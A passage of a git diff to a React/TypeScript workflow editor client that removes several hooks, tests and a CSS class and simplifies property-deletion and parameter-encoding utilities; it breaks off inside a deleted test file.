-                                    : 'size-6 border-2 border-stroke-neutral-tertiary bg-white hover:scale-110 hover:border-stroke-brand-secondary-hover'
+                                    : 'size-6 border-2 border-gray-300 bg-white hover:scale-110 hover:border-gray-400'
                             )}
                             id={`${id}-button`}
                             onDragEnter={() => setDropzoneActive(true)}
diff --git a/client/src/pages/platform/workflow-editor/hooks/useFilteredComponentDefinitions.ts b/client/src/pages/platform/workflow-editor/hooks/useFilteredComponentDefinitions.ts
deleted file mode 100644
index 95eda638aa3..00000000000
--- a/client/src/pages/platform/workflow-editor/hooks/useFilteredComponentDefinitions.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import {ComponentDefinitionBasic} from '@/shared/middleware/platform/configuration';
-import {
-    ComponentDefinitionWithActionsProps,
-    useGetComponentDefinitionsWithActionsQuery,
-} from '@/shared/queries/platform/componentDefinitionsGraphQL.queries';
-import {Dispatch, SetStateAction, useMemo, useState} from 'react';
-import {useDebounce} from 'use-debounce';
-
-type UseFilteredComponentDefinitionsReturnType = {
-    componentsWithActions: Array<ComponentDefinitionBasic | ComponentDefinitionWithActionsProps>;
-    filter: string;
-    isSearchLoading: boolean;
-    setFilter: Dispatch<SetStateAction<string>>;
-    trimmedFilter: string;
-};
-
-export const useFilteredComponentDefinitions = (
-    componentDefinitions: Array<ComponentDefinitionBasic | ComponentDefinitionWithActionsProps>
-): UseFilteredComponentDefinitionsReturnType => {
-    const [filter, setFilter] = useState('');
-
-    const [debouncedFilter] = useDebounce(filter, 300);
-
-    const trimmedFilter = debouncedFilter.trim();
-
-    const {data: searchedComponentDefinitions, isLoading: isSearchLoading} =
-        useGetComponentDefinitionsWithActionsQuery(trimmedFilter);
-
-    const componentsWithActions = useMemo(() => {
-        if (trimmedFilter && searchedComponentDefinitions && !isSearchLoading) {
-            return searchedComponentDefinitions;
-        }
-        return componentDefinitions;
-    }, [trimmedFilter, searchedComponentDefinitions, isSearchLoading, componentDefinitions]);
-
-    return {componentsWithActions, filter, isSearchLoading, setFilter, trimmedFilter};
-};
diff --git a/client/src/pages/platform/workflow-editor/hooks/useNodeClick.ts b/client/src/pages/platform/workflow-editor/hooks/useNodeClick.ts
index 811ec374a9c..82c819487aa 100644
--- a/client/src/pages/platform/workflow-editor/hooks/useNodeClick.ts
+++ b/client/src/pages/platform/workflow-editor/hooks/useNodeClick.ts
@@ -1,5 +1,4 @@
 import useRightSidebarStore from '@/pages/platform/workflow-editor/stores/useRightSidebarStore';
-import useWorkflowTestChatStore from '@/pages/platform/workflow-editor/stores/useWorkflowTestChatStore';
 import {NodeDataType, TabNameType} from '@/shared/types';
 import {NodeProps} from '@xyflow/react';
 import {useCallback} from 'react';
@@ -21,7 +20,6 @@ export default function useNodeClick(data: NodeDataType, id: NodeProps['id'], ac
             }))
         );
     const setRightSidebarOpen = useRightSidebarStore((state) => state.setRightSidebarOpen);
-    const setWorkflowTestChatPanelOpen = useWorkflowTestChatStore((state) => state.setWorkflowTestChatPanelOpen);
 
     const {nodes} = useWorkflowDataStore(
         useShallow((state) => ({
@@ -50,7 +48,6 @@ export default function useNodeClick(data: NodeDataType, id: NodeProps['id'], ac
         }
 
         setRightSidebarOpen(false);
-        setWorkflowTestChatPanelOpen(false);
         setActiveTab(activeTab ?? 'description');
         setCurrentNode({...data, description: ''});
 
@@ -72,7 +69,6 @@ export default function useNodeClick(data: NodeDataType, id: NodeProps['id'], ac
         clusterElementsCanvasNodes,
         clusterElementsCanvasOpen,
         setRightSidebarOpen,
-        setWorkflowTestChatPanelOpen,
         setActiveTab,
         activeTab,
         setCurrentNode,
diff --git a/client/src/pages/platform/workflow-editor/hooks/useWorkflowCodeEditorSheet.ts b/client/src/pages/platform/workflow-editor/hooks/useWorkflowCodeEditorSheet.ts
deleted file mode 100644
index c554e5b6d4b..00000000000
--- a/client/src/pages/platform/workflow-editor/hooks/useWorkflowCodeEditorSheet.ts
+++ /dev/null
@@ -1,218 +0,0 @@
-import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
-import {usePersistJobId} from '@/shared/hooks/usePersistJobId';
-import {useWorkflowTestStream} from '@/shared/hooks/useWorkflowTestStream';
-import {Workflow} from '@/shared/middleware/platform/configuration';
-import {WorkflowTestApi, WorkflowTestExecution} from '@/shared/middleware/platform/workflow/test';
-import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {getTestWorkflowAttachRequest, getTestWorkflowStreamPostRequest} from '@/shared/util/testWorkflow-utils';
-import {useCallback, useEffect, useState} from 'react';
-
-const workflowTestApi = new WorkflowTestApi();
-
-interface UseWorkflowCodeEditorSheetProps {
-    invalidateWorkflowQueries: () => void;
-    onSheetOpenClose: (open: boolean) => void;
-    workflow: Workflow;
-}
-
-const useWorkflowCodeEditorSheet = ({
-    invalidateWorkflowQueries,
-    onSheetOpenClose,
-    workflow,
-}: UseWorkflowCodeEditorSheetProps) => {
-    const [copilotPanelOpen, setCopilotPanelOpen] = useState(false);
-    const [definition, setDefinition] = useState<string>(workflow.definition!);
-    const [dirty, setDirty] = useState<boolean>(false);
-    const [jobId, setJobId] = useState<string | null>(null);
-    const [showWorkflowTestConfigurationDialog, setShowWorkflowTestConfigurationDialog] = useState(false);
-    const [unsavedChangesAlertDialogOpen, setUnsavedChangesAlertDialogOpen] = useState(false);
-    const [workflowIsRunning, setWorkflowIsRunning] = useState(false);
-    const [workflowTestExecution, setWorkflowTestExecution] = useState<WorkflowTestExecution>();
-
-    const ai = useApplicationInfoStore((state) => state.ai);
-    const setContext = useCopilotStore((state) => state.setContext);
-    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const ff_1570 = useFeatureFlagsStore()('ff-1570');
-
-    const copilotEnabled = ai.copilot.enabled && ff_1570;
-
-    const {getPersistedJobId, persistJobId} = usePersistJobId(workflow.id, currentEnvironmentId);
-    const {close: closeWorkflowTestStream, setStreamRequest} = useWorkflowTestStream({
-        onError: () => {
-            setWorkflowTestExecution(undefined);
-            setWorkflowIsRunning(false);
-            setJobId(null);
-        },
-        onResult: (execution) => {
-            setWorkflowTestExecution(execution);
-            setWorkflowIsRunning(false);
-            setJobId(null);
-        },
-        onStart: (jobId) => setJobId(jobId),
-        workflowId: workflow.id!,
-    });
-    const {updateWorkflowMutation} = useWorkflowEditor();
-
-    const handleCopilotClick = useCallback(() => {
-        const {
-            context: currentContext,
-            generateConversationId,
-            resetMessages,
-            saveConversationState,
-        } = useCopilotStore.getState();
-
-        saveConversationState();
-        resetMessages();
-        generateConversationId();
-
-        setContext({
-            ...currentContext,
-            mode: MODE.ASK,
-            parameters: {language: 'json'},
-            source: Source.CODE_EDITOR,
-        });
-
-        setCopilotPanelOpen(true);
-    }, [setContext]);
-
-    const handleCopilotClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        setCopilotPanelOpen(false);
-    }, []);
-
-    const handleOpenChange = useCallback(
-        (open: boolean) => {
-            if (!open && dirty) {
-                setUnsavedChangesAlertDialogOpen(true);
-
-                return;
-            }
-
-            if (!open) {
-                useCopilotStore.getState().restoreConversationState();
-                setCopilotPanelOpen(false);
-            }
-
-            onSheetOpenClose(open);
-        },
-        [dirty, onSheetOpenClose]
-    );
-
-    const handleRunClick = () => {
-        setWorkflowTestExecution(undefined);
-        setWorkflowIsRunning(true);
-        setJobId(null);
-        persistJobId(null);
-
-        if (workflow?.id) {
-            const request = getTestWorkflowStreamPostRequest({
-                environmentId: currentEnvironmentId,
-                id: workflow.id,
-            });
-
-            setStreamRequest(request);
-        }
-    };
-
-    const handleSaveClick = (workflow: Workflow, definition: string) => {
-        if (workflow && workflow.id) {
-            try {
-                JSON.parse(definition);
-
-                updateWorkflowMutation!.mutate(
-                    {
-                        id: workflow.id,
-                        workflow: {
-                            definition,
-                            version: workflow.version,
-                        },
-                    },
-                    {
-                        onError: () => setDirty(true),
-                        onSuccess: () => {
-                            setDirty(false);
-
-                            invalidateWorkflowQueries();
-                        },
-                    }
-                );
-            } catch (error) {
-                console.error(`Invalid JSON: ${error}`);
-            }
-        }
-    };
-
-    const handleStopClick = useCallback(() => {
-        setWorkflowIsRunning(false);
-        setStreamRequest(null);
-        closeWorkflowTestStream();
-
-        if (jobId) {
-            workflowTestApi.stopWorkflowTest({jobId}, {keepalive: true}).finally(() => {
-                persistJobId(null);
-                setJobId(null);
-            });
-        }
-    }, [closeWorkflowTestStream, jobId, persistJobId, setStreamRequest]);
-
-    const handleDefinitionChange = useCallback(
-        (value: string) => {
-            setDefinition(value);
-            setDirty(value !== workflow.definition);
-        },
-        [workflow.definition]
-    );
-
-    const handleUnsavedChangesAlertDialogClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        setCopilotPanelOpen(false);
-        setUnsavedChangesAlertDialogOpen(false);
-        onSheetOpenClose(false);
-    }, [onSheetOpenClose]);
-
-    useEffect(() => {
-        setDefinition(workflow.definition!);
-    }, [workflow.definition]);
-
-    useEffect(() => {
-        if (!workflow.id || currentEnvironmentId === undefined) return;
-
-        const jobId = getPersistedJobId();
-
-        if (!jobId) {
-            return;
-        }
-
-        setWorkflowIsRunning(true);
-        setJobId(jobId);
-
-        setStreamRequest(getTestWorkflowAttachRequest({jobId}));
-    }, [workflow.id, currentEnvironmentId, getPersistedJobId, setWorkflowIsRunning, setJobId, setStreamRequest]);
-
-    return {
-        copilotEnabled,
-        copilotPanelOpen,
-        definition,
-        dirty,
-        handleCopilotClick,
-        handleCopilotClose,
-        handleDefinitionChange,
-        handleOpenChange,
-        handleRunClick,
-        handleSaveClick,
-        handleStopClick,
-        handleUnsavedChangesAlertDialogClose,
-        handleUnsavedChangesAlertDialogOpen: setUnsavedChangesAlertDialogOpen,
-        handleWorkflowTestConfigurationDialog: setShowWorkflowTestConfigurationDialog,
-        showWorkflowTestConfigurationDialog,
-        unsavedChangesAlertDialogOpen,
-        workflowIsRunning,
-        workflowTestExecution,
-    };
-};
-
-export default useWorkflowCodeEditorSheet;
diff --git a/client/src/pages/platform/workflow-editor/hooks/useWorkflowLayout.ts b/client/src/pages/platform/workflow-editor/hooks/useWorkflowLayout.ts
index ce563235f86..84be4ace9ef 100644
--- a/client/src/pages/platform/workflow-editor/hooks/useWorkflowLayout.ts
+++ b/client/src/pages/platform/workflow-editor/hooks/useWorkflowLayout.ts
@@ -5,7 +5,6 @@ import useWorkflowDataStore from '@/pages/platform/workflow-editor/stores/useWor
 import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
 import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
 import useWorkflowTestChatStore from '@/pages/platform/workflow-editor/stores/useWorkflowTestChatStore';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
 import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
 import {ComponentDefinitionBasic, WorkflowNodeOutput} from '@/shared/middleware/platform/configuration';
 import {useGetTaskDispatcherDefinitionsQuery} from '@/shared/queries/platform/taskDispatcherDefinitions.queries';
@@ -16,13 +15,13 @@ import {useEffect, useMemo} from 'react';
 import {useShallow} from 'zustand/react/shallow';
 
 export const useWorkflowLayout = (includeComponents?: string[]) => {
-    const {copilotPanelOpen, setCopilotPanelOpen} = useCopilotPanelStore(
+    const {copilotPanelOpen, setContext, setCopilotPanelOpen} = useCopilotStore(
         useShallow((state) => ({
             copilotPanelOpen: state.copilotPanelOpen,
+            setContext: state.setContext,
             setCopilotPanelOpen: state.setCopilotPanelOpen,
         }))
     );
-    const setContext = useCopilotStore((state) => state.setContext);
     const dataPillPanelOpen = useDataPillPanelStore((state) => state.dataPillPanelOpen);
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
     const {rightSidebarOpen, setRightSidebarOpen} = useRightSidebarStore(
@@ -163,10 +162,7 @@ export const useWorkflowLayout = (includeComponents?: string[]) => {
     };
 
     const handleCopilotClick = () => {
-        const {context: currentContext, generateConversationId, resetMessages} = useCopilotStore.getState();
-
-        resetMessages();
-        generateConversationId();
+        const currentContext = useCopilotStore.getState().context;
 
         setContext({
             ...currentContext,
diff --git a/client/src/pages/platform/workflow-editor/nodes/AiAgentNode.tsx b/client/src/pages/platform/workflow-editor/nodes/AiAgentNode.tsx
index 77ae7d305ac..6f65c36cf49 100644
--- a/client/src/pages/platform/workflow-editor/nodes/AiAgentNode.tsx
+++ b/client/src/pages/platform/workflow-editor/nodes/AiAgentNode.tsx
@@ -243,7 +243,7 @@ const AiAgentNode = ({data, id}: {data: NodeDataType; id: string}) => {
             </div>
 
             <Handle
-                className={twMerge(styles.handleVisible, '-top-[1px] rounded-b-none rounded-t-xs')}
+                className={styles.handle}
                 isConnectable={false}
                 position={Position.Top}
                 style={hasIcons ? {left: '120px'} : {left: '36px'}}
@@ -251,7 +251,7 @@ const AiAgentNode = ({data, id}: {data: NodeDataType; id: string}) => {
             />
 
             <Handle
-                className={twMerge(styles.handleVisible, 'rounded-b-xs rounded-t-none')}
+                className={styles.handle}
                 isConnectable={false}
                 position={Position.Bottom}
                 style={hasIcons ? {left: '120px'} : {left: '36px'}}
diff --git a/client/src/pages/platform/workflow-editor/nodes/NodeTypes.module.css b/client/src/pages/platform/workflow-editor/nodes/NodeTypes.module.css
index 01da428e404..bdfc39084e8 100644
--- a/client/src/pages/platform/workflow-editor/nodes/NodeTypes.module.css
+++ b/client/src/pages/platform/workflow-editor/nodes/NodeTypes.module.css
@@ -5,12 +5,3 @@
 .handle {
     @apply invisible;
 }
-
-.handleVisible {
-    @apply left-node-handle-placement;
-    @apply -z-10;
-    @apply h-2;
-    @apply w-2;
-    @apply border-0;
-    @apply bg-stroke-neutral-tertiary;
-}
diff --git a/client/src/pages/platform/workflow-editor/nodes/WorkflowNode.tsx b/client/src/pages/platform/workflow-editor/nodes/WorkflowNode.tsx
index 5a17f88ad7f..b588405e9fe 100644
--- a/client/src/pages/platform/workflow-editor/nodes/WorkflowNode.tsx
+++ b/client/src/pages/platform/workflow-editor/nodes/WorkflowNode.tsx
@@ -278,9 +278,8 @@ const WorkflowNode = ({data, id}: {data: NodeDataType; id: string}) => {
             >
                 <HoverCardTrigger>
                     <Button
-                        aria-label={`${data.workflowNodeName} node`}
                         className={twMerge(
-                            'size-18 rounded-md border-2 border-stroke-neutral-tertiary bg-surface-neutral-primary p-4 text-primary hover:border-stroke-brand-secondary-hover hover:bg-surface-neutral-primary focus-visible:ring-stroke-brand-focus active:bg-surface-neutral-primary [&_svg]:size-9',
+                            'size-18 rounded-md border-2 border-stroke-neutral-tertiary bg-surface-neutral-primary p-4 text-primary shadow hover:border-stroke-brand-secondary-hover hover:bg-surface-neutral-primary hover:shadow-none focus-visible:ring-stroke-brand-focus active:bg-surface-neutral-primary [&_svg]:size-9',
                             isSelected &&
                                 workflowNodeDetailsPanelOpen &&
                                 !isMainRootClusterElement &&
@@ -365,7 +364,7 @@ const WorkflowNode = ({data, id}: {data: NodeDataType; id: string}) => {
                 <>
                     {!isMainRootClusterElement && (
                         <Handle
-                            className={twMerge(`left-${nodeWidth / 2}px`, styles.handleVisible)}
+                            className={twMerge(`left-${nodeWidth / 2}px`, styles.handle)}
                             isConnectable={false}
                             position={Position.Top}
                             type="target"
@@ -374,7 +373,7 @@ const WorkflowNode = ({data, id}: {data: NodeDataType; id: string}) => {
 
                     {filteredClusterElementTypes.map((clusterElementType, index) => (
                         <Handle
-                            className={styles.handle}
+                            className={twMerge(styles.handle)}
                             id={`${convertNameToCamelCase(clusterElementType.name as string)}-handle`}
                             isConnectable={false}
                             key={`${convertNameToCamelCase(clusterElementType.name as string)}-handle`}
@@ -394,18 +393,14 @@ const WorkflowNode = ({data, id}: {data: NodeDataType; id: string}) => {
             ) : (
                 <>
                     <Handle
-                        className={twMerge(
-                            '-top-[1px] rounded-b-none rounded-t-xs',
-                            styles.handleVisible,
-                            data.trigger && 'hidden'
-                        )}
+                        className={twMerge('left-node-handle-placement', styles.handle)}
                         isConnectable={false}
                         position={Position.Top}
                         type="target"
                     />
 
                     <Handle
-                        className={twMerge(styles.handleVisible, 'rounded-b-xs rounded-t-none')}
+                        className={twMerge('left-node-handle-placement', styles.handle)}
                         isConnectable={false}
                         position={Position.Bottom}
                         type="source"
diff --git a/client/src/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore.ts b/client/src/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore.ts
index 80f677aceef..31e9fa97078 100644
--- a/client/src/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore.ts
+++ b/client/src/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore.ts
@@ -25,9 +25,6 @@ interface WorkflowNodeDetailsPanelStoreI {
     focusedInput: Editor | null;
     setFocusedInput: (focusedInput: Editor | null) => void;
 
-    operationChangeInProgress: boolean;
-    setOperationChangeInProgress: (operationChangeInProgress: boolean) => void;
-
     reset: () => void;
 
     workflowNodeDetailsPanelOpen: boolean;
@@ -60,17 +57,12 @@ const useWorkflowNodeDetailsPanelStore = create<WorkflowNodeDetailsPanelStoreI>(
             focusedInput: null,
             setFocusedInput: (focusedInput) => set((state) => ({...state, focusedInput})),
 
-            operationChangeInProgress: false,
-            setOperationChangeInProgress: (operationChangeInProgress) =>
-                set((state) => ({...state, operationChangeInProgress})),
-
             reset: () =>
                 set(() => ({
                     currentComponent: undefined,
                     currentComponentDefinition: undefined,
                     currentNode: undefined,
                     focusedInput: null,
-                    operationChangeInProgress: false,
                     workflowNodeDetailsPanelOpen: false,
                 })),
 
diff --git a/client/src/pages/platform/workflow-editor/utils/clusterElementsFieldChangeUtils.ts b/client/src/pages/platform/workflow-editor/utils/clusterElementsFieldChangeUtils.ts
index 0c1d7182e3e..f162baf89dc 100644
--- a/client/src/pages/platform/workflow-editor/utils/clusterElementsFieldChangeUtils.ts
+++ b/client/src/pages/platform/workflow-editor/utils/clusterElementsFieldChangeUtils.ts
@@ -67,7 +67,7 @@ export function updateClusterRootElementField({
     currentOperationProperties,
     fieldUpdate,
     mainRootElement,
-}: UpdateClusterRootElementFieldProps): NodeDataType {
+}: UpdateClusterRootElementFieldProps) {
     const updatedElementData = createUpdatedElement({
         currentComponentDefinition,
         currentOperationProperties,
@@ -81,7 +81,7 @@ export function updateClusterRootElementField({
         componentName: mainRootElement.componentName,
         name: mainRootElement.name,
         workflowNodeName: mainRootElement.workflowNodeName,
-    } as NodeDataType;
+    };
 }
 
 interface UpdateNestedClusterElementFieldProps {
diff --git a/client/src/pages/platform/workflow-editor/utils/deleteProperty.test.ts b/client/src/pages/platform/workflow-editor/utils/deleteProperty.test.ts
deleted file mode 100644
index f1759a27d92..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/deleteProperty.test.ts
+++ /dev/null
@@ -1,91 +0,0 @@
-import {beforeEach, describe, expect, test, vi} from 'vitest';
-
-import useWorkflowEditorStore from '../stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
-import deleteProperty from './deleteProperty';
-
-vi.mock('./workflowMutationQueue', () => ({
-    enqueueWorkflowMutation: (execute: () => Promise<unknown>) => execute(),
-}));
-
-function createMockMutation(
-    mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}})
-) {
-    return {
-        context: undefined,
-        data: undefined,
-        error: null,
-        failureCount: 0,
-        failureReason: null,
-        isError: false as const,
-        isIdle: true as const,
-        isPaused: false,
-        isPending: false as const,
-        isSuccess: false as const,
-        mutate: vi.fn(),
-        mutateAsync,
-        reset: vi.fn(),
-        status: 'idle' as const,
-        submittedAt: 0,
-        variables: undefined,
-    };
-}
-
-describe('deleteProperty', () => {
-    beforeEach(() => {
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: undefined,
-            currentNode: undefined,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: undefined,
-        });
-    });
-
-    test('uses currentNode.workflowNodeName when rootClusterElementNodeData is undefined for a regular node', async () => {
-        const mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}});
-
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-            currentNode: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: undefined,
-        });
-
-        deleteProperty('workflow-1', 'parameters.field', createMockMutation(mutateAsync));
-
-        await vi.waitFor(() => {
-            expect(mutateAsync).toHaveBeenCalledTimes(1);
-        });
-
-        const callArgs = mutateAsync.mock.calls[0][0];
-
-        expect(callArgs.workflowNodeName).toBe('test_1');
-    });
-
-    test('uses rootClusterElementNodeData.workflowNodeName when it is available', async () => {
-        const mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}});
-
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-            currentNode: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: {componentName: 'root', workflowNodeName: 'root_1'} as never,
-        });
-
-        deleteProperty('workflow-1', 'parameters.field', createMockMutation(mutateAsync));
-
-        await vi.waitFor(() => {
-            expect(mutateAsync).toHaveBeenCalledTimes(1);
-        });
-
-        const callArgs = mutateAsync.mock.calls[0][0];
-
-        expect(callArgs.workflowNodeName).toBe('root_1');
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/utils/deleteProperty.ts b/client/src/pages/platform/workflow-editor/utils/deleteProperty.ts
index 22683e5f7c8..ab8259a9238 100644
--- a/client/src/pages/platform/workflow-editor/utils/deleteProperty.ts
+++ b/client/src/pages/platform/workflow-editor/utils/deleteProperty.ts
@@ -8,8 +8,6 @@ import {UseMutationResult} from '@tanstack/react-query';
 
 import useWorkflowEditorStore from '../stores/useWorkflowEditorStore';
 import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
-import {decodePath} from './encodingUtils';
-import {enqueueWorkflowMutation} from './workflowMutationQueue';
 
 export default function deleteProperty(
     workflowId: string,
@@ -31,8 +29,6 @@ export default function deleteProperty(
     const currentNode = useWorkflowNodeDetailsPanelStore.getState().currentNode;
     const rootClusterElementNodeData = useWorkflowEditorStore.getState().rootClusterElementNodeData;
 
-    const decodedPath = decodePath(path);
-
     if (!currentComponent) {
         console.error('No current component found in the store');
 
@@ -40,59 +36,16 @@ export default function deleteProperty(
     }
 
     if (currentNode?.clusterElementType) {
-        if (!deleteClusterElementParameterMutation) {
-            return;
-        }
-
-        const clusterElementType = currentNode.clusterElementType;
-        const clusterElementWorkflowNodeName = currentNode.workflowNodeName;
-
-        enqueueWorkflowMutation(() =>
-            deleteClusterElementParameterMutation.mutateAsync(
-                {
-                    clusterElementType,
-                    clusterElementWorkflowNodeName,
-                    deleteClusterElementParameterRequest: {
-                        path: decodedPath,
-                    },
-                    environmentId: environmentStore.getState().currentEnvironmentId,
-                    id: workflowId,
-                    workflowNodeName: rootClusterElementNodeData?.workflowNodeName || '',
-                },
-                {
-                    onSuccess: (response) => {
-                        const {setCurrentComponent, setCurrentNode} = useWorkflowNodeDetailsPanelStore.getState();
-
-                        setCurrentComponent({
-                            ...currentComponent,
-                            displayConditions: response.displayConditions,
-                            metadata: response.metadata,
-                            parameters: response.parameters,
-                        });
-
-                        setCurrentNode({
-                            ...currentNode,
-                            displayConditions: response.displayConditions,
-                            metadata: response.metadata,
-                            parameters: response.parameters,
-                        });
-                    },
-                }
-            )
-        );
-
-        return;
-    }
-
-    enqueueWorkflowMutation(() =>
-        deleteWorkflowNodeParameterMutation.mutateAsync(
+        deleteClusterElementParameterMutation?.mutate(
             {
+                clusterElementType: currentNode?.clusterElementType,
+                clusterElementWorkflowNodeName: currentNode?.workflowNodeName,
                 deleteClusterElementParameterRequest: {
-                    path: decodedPath,
+                    path,
                 },
                 environmentId: environmentStore.getState().currentEnvironmentId,
                 id: workflowId,
-                workflowNodeName: rootClusterElementNodeData?.workflowNodeName || currentNode?.workflowNodeName || '',
+                workflowNodeName: rootClusterElementNodeData?.workflowNodeName || '',
             },
             {
                 onSuccess: (response) => {
@@ -100,21 +53,49 @@ export default function deleteProperty(
 
                     setCurrentComponent({
                         ...currentComponent,
-                        displayConditions: response.displayConditions,
                         metadata: response.metadata,
                         parameters: response.parameters,
                     });
 
-                    if (currentNode) {
-                        setCurrentNode({
-                            ...currentNode,
-                            displayConditions: response.displayConditions,
-                            metadata: response.metadata,
-                            parameters: response.parameters,
-                        });
-                    }
+                    setCurrentNode({
+                        ...currentNode,
+                        metadata: response.metadata,
+                        parameters: response.parameters,
+                    });
                 },
             }
-        )
+        );
+
+        return;
+    }
+
+    deleteWorkflowNodeParameterMutation.mutate(
+        {
+            deleteClusterElementParameterRequest: {
+                path,
+            },
+            environmentId: environmentStore.getState().currentEnvironmentId,
+            id: workflowId,
+            workflowNodeName: currentComponent?.workflowNodeName,
+        },
+        {
+            onSuccess: (response) => {
+                const {setCurrentComponent, setCurrentNode} = useWorkflowNodeDetailsPanelStore.getState();
+
+                setCurrentComponent({
+                    ...currentComponent,
+                    metadata: response.metadata,
+                    parameters: response.parameters,
+                });
+
+                if (currentNode) {
+                    setCurrentNode({
+                        ...currentNode,
+                        metadata: response.metadata,
+                        parameters: response.parameters,
+                    });
+                }
+            },
+        }
     );
 }
diff --git a/client/src/pages/platform/workflow-editor/utils/encodingUtils.ts b/client/src/pages/platform/workflow-editor/utils/encodingUtils.ts
index bc580f0a510..00ff7f0b390 100644
--- a/client/src/pages/platform/workflow-editor/utils/encodingUtils.ts
+++ b/client/src/pages/platform/workflow-editor/utils/encodingUtils.ts
@@ -29,8 +29,6 @@ function encodeParametersGeneric({
     const encodedParameters = {...parameters};
 
     Object.keys(encodedParameters).forEach((key) => {
-        let currentKey = key;
-
         if (key.match(matchPattern)) {
             const newKey = replacementFn
                 ? key.replace(matchPattern, replacementFn(key))
@@ -39,31 +37,13 @@ function encodeParametersGeneric({
             encodedParameters[newKey] = encodedParameters[key];
 
             delete encodedParameters[key];
-
-            currentKey = newKey;
         }
 
-        const value = encodedParameters[currentKey];
-
-        if (Array.isArray(value)) {
-            encodedParameters[currentKey] = value.map((item) => {
-                if (isObject(item) && item !== null) {
-                    return encodeParametersGeneric({
-                        matchPattern,
-                        parameters: item as {[key: string]: unknown},
-                        replacement,
-                        replacementFn,
-                    });
-                }
-
-                return item;
-            });
-        } else if (isObject(value) && value !== null) {
-            encodedParameters[currentKey] = encodeParametersGeneric({
+        if (isObject(encodedParameters[key]) && encodedParameters[key] !== null) {
+            encodedParameters[key] = encodeParametersGeneric({
                 matchPattern,
-                parameters: value as {[key: string]: unknown},
+                parameters: encodedParameters[key] as {[key: string]: unknown},
                 replacement,
-                replacementFn,
             });
         }
     });
@@ -330,7 +310,3 @@ export function transformValueForObjectAccess(value: string): string {
 
     return value;
 }
-
-export function escapeHtmlForParagraph(line: string): string {
-    return line.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
-}
diff --git a/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.test.ts b/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.test.ts
deleted file mode 100644
index b954bbaade0..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.test.ts
+++ /dev/null
@@ -1,116 +0,0 @@
-import {WorkflowNodeOutput} from '@/shared/middleware/platform/configuration';
-import {PropertyAllType} from '@/shared/types';
-import {describe, expect, test} from 'vitest';
-
-import getOutputSchemaFromWorkflowNodeOutput from './getOutputSchemaFromWorkflowNodeOutput';
-
-describe('getOutputSchemaFromWorkflowNodeOutput', () => {
-    const mockOutputSchema: PropertyAllType = {
-        name: 'testOutput',
-        type: 'OBJECT',
-    };
-
-    const mockVariableOutputSchema: PropertyAllType = {
-        name: 'variableOutput',
-        properties: [
-            {name: 'item', type: 'OBJECT'},
-            {name: 'index', type: 'INTEGER'},
-        ],
-        type: 'OBJECT',
-    };
-
-    test('returns undefined when workflowNodeOutput is undefined', () => {
-        const result = getOutputSchemaFromWorkflowNodeOutput(undefined);
-
-        expect(result).toBeUndefined();
-    });
-
-    test('returns outputResponse.outputSchema when available', () => {
-        const workflowNodeOutput: WorkflowNodeOutput = {
-            outputResponse: {
-                outputSchema: mockOutputSchema,
-            },
-            workflowNodeName: 'action_1',
-        };
-
-        const result = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutput);
-
-        expect(result).toBe(mockOutputSchema);
-    });
-
-    test('returns variableOutputResponse.outputSchema when outputResponse is not available', () => {
-        const workflowNodeOutput: WorkflowNodeOutput = {
-            variableOutputResponse: {
-                outputSchema: mockVariableOutputSchema,
-            },
-            workflowNodeName: 'loop_1',
-        };
-
-        const result = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutput);
-
-        expect(result).toBe(mockVariableOutputSchema);
-    });
-
-    test('prefers outputResponse over variableOutputResponse when both are available', () => {
-        const workflowNodeOutput: WorkflowNodeOutput = {
-            outputResponse: {
-                outputSchema: mockOutputSchema,
-            },
-            variableOutputResponse: {
-                outputSchema: mockVariableOutputSchema,
-            },
-            workflowNodeName: 'action_1',
-        };
-
